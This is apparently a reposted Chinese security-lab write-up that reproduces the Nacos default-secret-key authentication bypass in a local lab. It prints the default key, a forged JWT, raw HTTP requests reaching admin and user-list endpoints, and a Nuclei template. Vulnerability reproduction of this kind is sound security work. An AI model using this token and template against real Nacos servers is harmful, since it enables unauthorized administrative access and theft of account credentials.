干货分享|Nacos 身份认证绕过漏洞复现-附Nuclei脚本

干货分享|Nacos 身份认证绕过漏洞复现-附Nuclei脚本
2023-4-7 17:0:30 Author: 戟星安全实验室(查看原文) 阅读量:102 收藏

戟星安全实验室

忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约4373字，阅读约需11分钟。

简介

Nacos是一个易于使用的平台，专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。

漏洞概述

Nacos在默认配置下未对 token.secret.key 进行修改，导致远程攻击者可以绕过密钥认证进入后台，造成系统受控等后果。

影响版本

受影响的版本：0.1.0 <= Nacos <= 2.2.0

环境搭建

nacos-server-2.2.0-BETA

下载地址：

https://github.com/alibaba/nacos/releases/tag/2.2.0-BETA

部署环境：

win10+JDK8+nacos-server-2.2.0-BETA

设置JDK环境变量

启动环境

startup.cmd -m standalone

环境已正常启动

http://192.168.230.128:8848/nacos/index.html#/login

漏洞分析

nacos的conf目录下的application.properties文件中nacos的token.secret.key是有默认的token值。

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

Token构造

Token可以用JWT伪造构造。

这里时间戳的时间需要比当前时间更晚。

https://tool.chinaz.com/tools/unixtime.aspx

https://jwt.io/

最终构造好token，并在Burp进行测试。

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTQ4NjIzMH0.deUk-C07jtyeQfvZJJ7DLnEtvJAvGB0Iub2YSXDSD7E

Burp请求包。

POST /nacos/v1/auth/users/login HTTP/1.1Host: 192.168.230.128:8848Content-Length: 30Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36Content-Type: application/x-www-form-urlencodedOrigin: http://192.168.230.128:8848Referer: http://192.168.230.128:8848/nacos/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeAuthorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTQ4NjIzMH0.deUk-C07jtyeQfvZJJ7DLnEtvJAvGB0Iub2YSXDSD7E
username=nacos&password=123456

漏洞利用

抓包测试，查看登录页面到后台页面的请求和响应，查找POC构造的地方。

GET /nacos/v1/console/namespaces?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTQ4NjIzMH0.deUk-C07jtyeQfvZJJ7DLnEtvJAvGB0Iub2YSXDSD7E&namespaceId= HTTP/1.1Host: 192.168.230.128:8848Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestAuthorization: {"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTQ4NjIzMH0.deUk-C07jtyeQfvZJJ7DLnEtvJAvGB0Iub2YSXDSD7E","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36Referer: http://192.168.230.128:8848/nacos/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=237C15A8A3E52269FBF1CE7584AF9E02Connection: close

GET /nacos/v1/console/server/state?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTQ4NjIzMH0.deUk-C07jtyeQfvZJJ7DLnEtvJAvGB0Iub2YSXDSD7E&username=nacos HTTP/1.1Host: 192.168.230.128:8848Accept: application/json, text/plain, */*accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTQ4NjIzMH0.deUk-C07jtyeQfvZJJ7DLnEtvJAvGB0Iub2YSXDSD7EUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36Referer: http://192.168.230.128:8848/nacos/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=237C15A8A3E52269FBF1CE7584AF9E02Connection: close

最终我们发现用户列表处，这里会显示用户账户密码。

Nuclei-poc

抓取请求包进行测试。

GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTQ5MTYzNX0.H5XHNlo-c3lAOmYnUv28KzHHrF0I0HmCxCTNInL4kLo HTTP/1.1Host: 192.168.230.128:8848Accept: application/json, text/plain, */*accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTQ5MTYzNX0.H5XHNlo-c3lAOmYnUv28KzHHrF0I0HmCxCTNInL4kLoUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36Referer: http://192.168.230.128:8848/nacos/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=AB283FABFFA086DE86AE928E7499D7C6Connection: close

根据返回包的关键字进行nuclei的POC编写。

根据该请求构造nuclei的poc脚本

id: Nacos-JWTinfo:  name: Nacos-JWT-Bypass  author: dnf  severity: critical  description: "Nacos 身份认证绕过漏洞"  reference:    - https://github.com/alibaba/nacos/issues/7127  tags: nacos
requests:  - method: GET    path:      - "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTQ5MTYzNX0.H5XHNlo-c3lAOmYnUv28KzHHrF0I0HmCxCTNInL4kLo"    matchers-condition: and    matchers:      - type: word        words:          - "Content-Type: application/json"        part: header
      - type: regex        regex:          - '"username":'          - '"password":'        part: body        condition: and
      - type: status        status:          - 200

Nuclei脚本本地测试

往期回顾

干货分享|IOS渗透测试指南

干货分享|安卓7.0以上安装证书

【干货分享】栈溢出和shellcode开发(一)

【干货分享】LOLBins技法的钓鱼附件分析

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，戟星安全实验室及文章作者不为此承担任何责任。

戟星安全实验室

# 长按二维码 || 点击下方名片关注我们 #

文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDMwNzk2Ng==&mid=2247509525&idx=1&sn=e2273a874e7f7f7f1321e0bf8726cdc0&chksm=c27eac04f50925125cfe9c122de2a15ce8d04dc66285569113ddc360a55e41286b14539ee0f2#rd
如有侵权请联系:admin#unsafe.sh